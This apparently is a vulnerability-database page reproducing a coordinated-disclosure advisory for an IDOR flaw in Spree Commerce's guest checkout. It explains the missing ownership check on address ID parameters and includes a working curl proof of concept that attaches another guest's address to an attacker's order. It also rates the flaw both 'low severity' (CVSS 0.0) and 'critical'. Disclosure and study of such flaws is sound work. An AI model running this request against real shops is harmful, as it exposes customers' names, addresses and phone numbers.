CVE-2026-25758 is a low severity vulnerability with a CVSS score of 0.0. No known exploits currently, and patches are available.
Very low probability of exploitation
EPSS predicts the probability of exploitation in the next 30 days based on real-world threat data, complementing CVSS severity scores with actual risk assessment.
A critical IDOR vulnerability exists in Spree Commerce's guest checkout flow that allows any guest user to bind arbitrary guest addresses to their order by manipulating address ID parameters. This enables unauthorized access to other guests' personally identifiable information (PII) including names, addresses and phone numbers. The vulnerability bypasses existing ownership validation checks and affects all guest checkout transactions.
This issue may lead to disclosure of PII of guest users (including names, addresses and phone numbers).
GHSL-2026-027)The vulnerability stems from incomplete authorization validation in Spree's checkout address assignment logic. While nested address attributes (bill_address_attributes[id] and ship_address_attributes[id]) are properly validated through validate_address_ownership, plain ID parameters (bill_address_id and ship_address_id) bypass this check entirely. Since Spree's address IDs are sequential numbers, an attacker might get all guest addresses by simply enumerating over them.
Permitted Attributes (core/lib/spree/permitted_attributes.rb:92–96)
bill_address_id and ship_address_id as permitted parameters without validationCheckout Update (core/app/models/spree/order/checkout.rb:241–254)
update_from_paramsPlease cite this page when referencing data from Strobes VI. Proper attribution helps support our vulnerability intelligence research.
core/app/services/spree/checkout/update.rb:33–48validate_address_ownership only validates nested attributes structurebill_address_id/ship_address_id fieldsVulnerable Assignment Logic (core/app/models/spree/order/address_book.rb:16–23, 31–38)
Both setters check that: address.user_id == order.user_id. For guest orders: nil == nil → TRUE ✓ (bypass!)
Precondition: One guest address has to exist in Spree's database. (E.g. Create an order with a guest account and note the ID from the spree_addresses table. E.g. 3)
As a guest user:
#!/bin/bash
ATTACKER_ORDER_TOKEN="" # Taken from the URL
VICTIM_ADDRESS_ID="3" # As noted from the database
CSRF_TOKEN="" # From page source; `content` value from meta param `csrf-token`.
SESSION_COOKIE="token=...; _my_store_session=..." # from the browsers cookie store.
curl -i -X POST \
-H "x-csrf-token: ${CSRF_TOKEN}" \
-H "Content-Type: application/x-www-form-urlencoded;charset=UTF-8" \
-b "${SESSION_COOKIE}" \
--data-urlencode "_method=patch" \
--data-urlencode "authenticity_token=${CSRF_TOKEN}" \
--data-urlencode "order[ship_address_id]=${VICTIM_ADDRESS_ID}" \
"http://localhost:3000/checkout/${ATTACKER_ORDER_TOKEN}/update/address"
Expected Result: Attacker's order now references victim's address. Through that the attacker has all address details in full display.
This can be verified by accessing /checkout/${ATTACKER_ORDER_TOKEN}/delivery in the same browser where you created the new guest cart.
This issue may lead to disclosure of PII of guest users (including names, addresses and phone numbers).
This issue was discovered with the GitHub Security Lab Taskflow Agent and manually verified by GHSL team members @p- (Peter Stöckli) and @m-y-mo (Man Yue Mo).
This report is subject to a 90-day disclosure deadline, as described in more detail in our coordinated disclosure policy.